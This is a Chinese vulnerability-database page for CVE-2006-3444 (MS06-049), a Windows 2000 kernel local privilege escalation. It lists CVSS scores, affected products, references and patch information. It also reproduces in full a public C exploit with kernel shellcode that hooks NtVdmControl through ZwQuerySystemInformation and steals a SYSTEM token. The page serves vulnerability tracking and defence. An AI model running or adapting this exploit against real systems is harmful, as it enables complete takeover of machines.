CVE-2006-3444
CVSS7.5
发布时间 :2006-08-08 20:04:00
修订时间 :2011-03-07 21:38:39
NMCOES    

[原文]Unspecified vulnerability in the kernel in Microsoft Windows 2000 SP4, probably a buffer overflow, allows local users to obtain privileges via unspecified vectors involving an "unchecked buffer."


[CNNVD]Microsoft Windows 2000内核本地权限提升漏洞(MS06-049)(CNNVD-200608-119)

        Microsoft Windows是微软发布的非常流行的操作系统。
        本地攻击者可以利用Microsoft Windows 2000内核中未检查的缓冲区获得权限提升,完全控制受影响的系统。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:microsoft:windows_2000::sp4:datacenter_serverMicrosoft Windows 2000 Datacenter Server SP4
cpe:/o:microsoft:windows_2000::sp4::fr
cpe:/o:microsoft:windows_2000::sp4:serverMicrosoft Windows 2000 Server SP4
cpe:/o:microsoft:windows_2000::sp4:professionalMicrosoft Windows 2000 Professional SP4
cpe:/o:microsoft:windows_2000::sp4:advanced_serverMicrosoft Windows 2000 Advanced Server SP4

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:673Windows 2000 Kernel Elevation of Privilege Vulnerability
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3444
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-3444
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200608-119
(官方数据源) CNNVD

- 其它链接及资源

http://www.microsoft.com/technet/security/Bulletin/MS06-049.mspx
(PATCH)  MS  MS06-049
http://www.vupen.com/english/advisories/2006/3215
(UNKNOWN)  VUPEN  ADV-2006-3215
http://www.securityfocus.com/bid/19388
(UNKNOWN)  BID  19388
http://securitytracker.com/id?1016658
(UNKNOWN)  SECTRACK  1016658
http://secunia.com/advisories/21415
(UNKNOWN)  SECUNIA  21415

- 漏洞信息

Microsoft Windows 2000内核本地权限提升漏洞(MS06-049)
高危 缓冲区溢出
2006-08-08 00:00:00 2006-08-15 00:00:00
本地  
        Microsoft Windows是微软发布的非常流行的操作系统。
        本地攻击者可以利用Microsoft Windows 2000内核中未检查的缓冲区获得权限提升,完全控制受影响的系统。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        http://www.microsoft.com/technet/security/bulletin/ms06-049.mspx
        http://www.microsoft.com/downloads/details.aspx?FamilyId=08806182-6a26-4663-91ea-179817350a91

- 漏洞信息 (2412)

MS Windows (Windows Kernel) Privilege Escalation Exploit (MS06-049) (EDBID:2412)
windows local
2006-09-21 Verified
0 SoBeIt
N/A [点击下载]
/*
    MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit
            Created by SoBeIt

    Main file of exploit

    Tested on:

    Windows 2000 PRO SP4 Chinese
    Windows 2000 PRO SP4 Rollup 1 Chinese
    Windows 2000 PRO SP4 English
    Windows 2000 PRO SP4 Rollup 1 English

    Usage:ms06-049.exe
*/

#include <windows.h>
#include <stdio.h>

#define NTSTATUS    int
#define ProcessBasicInformation    0
#define SystemModuleInformation 11
    
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWVDMCONTROL    ZwVdmControl;
ZWQUERYINFORMATIONPROCESS    ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;

typedef struct _PROCESS_BASIC_INFORMATION {
      NTSTATUS ExitStatus;
      PVOID PebBaseAddress;
      ULONG AffinityMask;
      ULONG BasePriority;
      ULONG UniqueProcessId;
      ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT Unknow;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    char ImageName[256];    
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

unsigned char kfunctions[64][64] = 
{
                            //ntoskrnl.exe
    {"ZwTerminateProcess"},
    {""},
};

unsigned char shellcode[] = 
        "\x90\x60\x9c\xe9\xd1\x00\x00\x00\x5f\x4f\x47\x33\xc0\x66\x81\x3f"
        "\x90\xcc\x75\xf6\x40\x40\x66\x81\x3c\x07\xcc\x90\x75\xec\x83\xc7"
        "\x04\xbe\x38\xf0\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90"
        "\x00\x75\xf7\x95\x8b\xf7\x6a\x01\x59\xe8\x56\x00\x00\x00\xe2\xf9"
        "\xbb\x24\xf1\xdf\xff\x8b\x1b\x8b\x43\x44\xb9\x08\x00\x00\x00\xe8"
        "\x2c\x00\x00\x00\x8b\xd0\x8b\x4e\x04\xe8\x22\x00\x00\x00\x8b\x8a"
        "\x2c\x01\x00\x00\x89\x88\x2c\x01\x00\x00\x56\x8b\x7e\x0c\x8b\x4e"
        "\x10\x8b\x76\x08\xf3\xa4\x5e\x33\xc0\x50\x50\xff\x16\x9d\x61\xc3"
        "\x8b\x80\xa0\x00\x00\x00\x2d\xa0\x00\x00\x00\x39\x88\x9c\x00\x00"
        "\x00\x75\xed\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56"
        "\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe"
        "\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75"
        "\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd"
        "\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x2a\xff\xff\xff\x90\x90"

        "\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";

void ErrorQuit(char *msg)
{
    printf("%s:%x\n", msg, GetLastError());
    ExitProcess(0);
}

ULONG ComputeHash(char *ch)
{
    ULONG ret = 0;

    while(*ch)
    {
        ret = ((ret << 25) | (ret >> 7)) + *ch++;
    }

    return ret;
}

ULONG RVA2Offset(ULONG RVA, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)
{    
    ULONG i;
    
    if(RVA < pSectionHeader[0].PointerToRawData)
        return RVA;

    for(i = 0; i < Sections; i++)
    {   
        if(RVA >= pSectionHeader[i].VirtualAddress &&
           RVA < pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData)           
           return (RVA - pSectionHeader[i].VirtualAddress + pSectionHeader[i].PointerToRawData);
    }
    
    return 0;
}

ULONG Offset2RVA(ULONG Offset, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)
{   
    ULONG i;
    
    if(Offset < pSectionHeader[0].PointerToRawData)
        return Offset;
    
    for(i = 0; i < Sections; i++)
    {
        if(Offset >= pSectionHeader[i].PointerToRawData &&
           Offset < pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData)
           return (Offset - pSectionHeader[i].PointerToRawData + pSectionHeader[i].VirtualAddress);
    }
    
    return 0;
}

void GetFunction()
{
    HANDLE    hNtdll;
    
    hNtdll = LoadLibrary("ntdll.dll");
    if(hNtdll == NULL)
        ErrorQuit("LoadLibrary failed.\n");
        
    ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
    if(ZwVdmControl == NULL)
        ErrorQuit("GetProcAddress failed.\n");
        
    ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
    if(ZwQueryInformationProcess == NULL)
        ErrorQuit("GetProcAddress failed.\n");
        
    ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
    if(ZwQuerySystemInformation == NULL)
        ErrorQuit("GetProcessAddress failed.\n");
        
    FreeLibrary(hNtdll);
}

ULONG GetKernelBase()
{
    ULONG    i, Byte, ModuleCount;
    PVOID    pBuffer;
    PSYSTEM_MODULE_INFORMATION    pSystemModuleInformation;
    PCHAR    pName;
    
    ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
        
    if((pBuffer = malloc(Byte)) == NULL)
        ErrorQuit("malloc failed.\n");
        
    if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
        ErrorQuit("ZwQuerySystemInformation failed\n");
    
    ModuleCount = *(PULONG)pBuffer;
    pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
    for(i = 0; i < ModuleCount; i++)
    {
        if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
        {
            free(pBuffer);    
            return (ULONG)pSystemModuleInformation->Base;
        }
        
        pSystemModuleInformation++;
    }
        
    free(pBuffer);
    return 0;
}

int main(int argc, char *argv[])
{
    PULONG    pStoreBuffer, pNamesArray, pFunctionsArray, pShellcode, pRestoreBuffer;
    PUCHAR    pBase;
    PCHAR        pName;
    PUSHORT        pOrdinals;
    PIMAGE_NT_HEADERS    pHeader;
    PIMAGE_EXPORT_DIRECTORY    pExport;
    PIMAGE_SECTION_HEADER pSectionHeader;
    PROCESS_BASIC_INFORMATION pbi;
    SYSTEM_MODULE_INFORMATION    smi;
    char        DriverName[256];
    ULONG        Byte, FileSize, len, i, j, k, Count, BaseAddress, Value, KernelBase, buf[64], HookAddress, Temp, Sections;
    USHORT    index;
    HANDLE    hDevice, hFile, hFileMap;

    printf("\n MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit \n\n");
    printf("\t Create by SoBeIt. \n\n");
    if(argc != 1)
    {
        printf(" Usage:%s \n\n", argv[0]);
        return 1;
    }

    GetFunction();

    if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
        ErrorQuit("ZwQueryInformationProcess failed\n");
    
    KernelBase = GetKernelBase();
    if(!KernelBase)
        ErrorQuit("Unable to get kernel base address.\n");
        
    printf("Kernel base address: %x\n", KernelBase);

    pRestoreBuffer = malloc(0x100);
    if(pRestoreBuffer == NULL)
        ErrorQuit("malloc failed.\n");
    
    pStoreBuffer = VirtualAlloc(NULL, 0x1001000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(pStoreBuffer == NULL)
        ErrorQuit("VirtualAlloc failed.\n");
        
    printf("Allocated address:%x\n", pStoreBuffer);
    
    if(!GetSystemDirectory((PUCHAR)pStoreBuffer, 256))
        ErrorQuit("GetSystemDirectory failed.\n");

    strcat((PUCHAR)pStoreBuffer, "\\ntoskrnl.exe");
    hFile = CreateFile((PUCHAR)pStoreBuffer, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        hFile = CreateFile("ntoskrnl.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if(hFile == INVALID_HANDLE_VALUE)
            ErrorQuit("CreateFile failed.\n");
    }

    if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff)
        ErrorQuit("GetFileSize failed.\n");

    printf("File size:%x\n", FileSize);
    pBase = (PUCHAR)VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(pBase == NULL)
        ErrorQuit("VirtualAlloc failed.\n");
        
    if(!ReadFile(hFile, pBase, FileSize, &Byte, NULL))
        ErrorQuit("ReadFile failed.\n");

    pHeader = (PIMAGE_NT_HEADERS)(pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew);
    pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)(&pHeader->OptionalHeader) + pHeader->FileHeader.SizeOfOptionalHeader);
    Sections= pHeader->FileHeader.NumberOfSections;

    pExport = (PIMAGE_EXPORT_DIRECTORY)(pBase + 
        RVA2Offset(pHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,
        pSectionHeader,
        Sections
        ));

    pNamesArray = (PULONG)(pBase + 
                    RVA2Offset(pExport->AddressOfNames,
                        pSectionHeader,
                        Sections));
                        
    pFunctionsArray = (PULONG)(pBase +                        
                    RVA2Offset(pExport->AddressOfFunctions,
                        pSectionHeader,
                        Sections));
                        
    pOrdinals = (PUSHORT)(pBase + 
                    RVA2Offset(pExport->AddressOfNameOrdinals,
                        pSectionHeader,
                        Sections));
                        
    len = strlen("NtVdmControl");
    for(i = 0; i < pExport->NumberOfNames; i++)
    {
        pName = pBase + RVA2Offset(pNamesArray[i], pSectionHeader, Sections);
        if(!strncmp(pName, "NtVdmControl", len))
            break;
    }

    if(i > pExport->NumberOfFunctions)
        ErrorQuit("Some error occured.\n");

    index = pOrdinals[i]; 
    HookAddress = pFunctionsArray[index] + KernelBase;
    memcpy((PUCHAR)pRestoreBuffer, pBase + pFunctionsArray[index] - 1, 0x10);
    printf("%s Address:%x\n", "NtVdmControl", HookAddress);
    
    pShellcode = (PULONG)shellcode;
    for(k = 0; pShellcode[k++] != 0x90cccc90; )
                ;

    for(j = 0; kfunctions[j][0] != '\x0'; j++)
        buf[j] = ComputeHash(kfunctions[j]);

    buf[j++] = pbi.InheritedFromUniqueProcessId;
    buf[j++] = (ULONG)pRestoreBuffer;
    buf[j++] = HookAddress - 1;
    buf[j++] = 0x10;    

    memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
    
    Temp = 0;
    for(i = 0; i < 7; i++)
    {
        ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
        Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
        Temp += Byte;
    }
    
    Byte = Temp / 7;
    printf("Single value:%x\n", Byte);
    Value = (0xe9 << 8) & 0xff00;
    printf("Jump value:%x\n", Value);
    printf("Base value:%x\n", pRestoreBuffer[0]);
    for(Count = 0; ; Count++)
    {
        if(((pRestoreBuffer[0] + Count * Byte) & 0xff00) == Value)
            break;    
    }
    
    printf("Need value generated:%x\n", pRestoreBuffer[0] + Count * Byte);
    printf("Count value:%x\n", Count);
    for(i = 0; i < Count; i ++)
        ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress - 1), 0, &Byte);

    Temp = 0;
    for(i = 0; i < 7; i++)
    {
        ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
        Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
        Temp += Byte;
    }
    
    Byte = Temp / 7;
    printf("Single value:%x\n", Byte);
    Value = (((ULONG)pStoreBuffer + 0x800000 - HookAddress) >> 16) & 0xfff0;
    printf("Jump value:%x\n", Value);
    printf("Base value:%x\n", pRestoreBuffer[1]);
    for(Count = 0; ; Count++)
    {
        if(((pRestoreBuffer[1] + Count * Byte) & 0xfff0) == Value)
            break;
    }

    printf("Need value generated:%x\n", pRestoreBuffer[1] + Count * Byte);
    printf("Count value:%x\n", Count);
    for(i = 0; i < Count; i ++)
        ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress + 3), 0, &Byte);

    memset(pStoreBuffer, 0x90, 0x1001000);
    memcpy((PUCHAR)pStoreBuffer + 0x1000000, shellcode, sizeof(shellcode));
        
    CloseHandle(hFile);

    printf("Exploitation finished.\n");
    ZwVdmControl(0, NULL);
    
    return 1;
}

// milw0rm.com [2006-09-21]
		

- 漏洞信息

27848
Microsoft Windows Kernel Unspecified Local Privilege Escalation
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2006-08-08 Unknow
Unknow 2006-08-08

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Microsoft Windows 2000 Kernel Local Privilege Escalation Vulnerability
Boundary Condition Error 19388
No Yes
2006-08-08 12:00:00 2006-09-27 11:31:00
This issue was announced by the vendor.

- 受影响的程序版本

Microsoft Windows 2000 Server SP4
Microsoft Windows 2000 Server SP3
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Server
+ Avaya DefinityOne Media Servers
+ Avaya IP600 Media Servers
+ Avaya S3400 Message Application Server 0
+ Avaya S8100 Media Servers 0
Microsoft Windows 2000 Professional SP4
Microsoft Windows 2000 Professional SP3
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Datacenter Server SP4
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Advanced Server SP4
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server

- 漏洞讨论

A local privilege-escalation vulnerability affects Microsoft Windows 2000.

This vulnerability affects the Windows kernel; local attackers may exploit it to completely compromise an affected computer.

- 漏洞利用

The following exploit is available:

- 解决方案

Microsoft has released a security bulletin to address this issue.

Microsoft reported that the MS06-049 patch (920958) may corrupt NTFS compression files that are larger than 4 kilobytes. Microsoft recommends disabling NTFS compression as a workaround.

Please refer to the attached security bulletin for more information.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站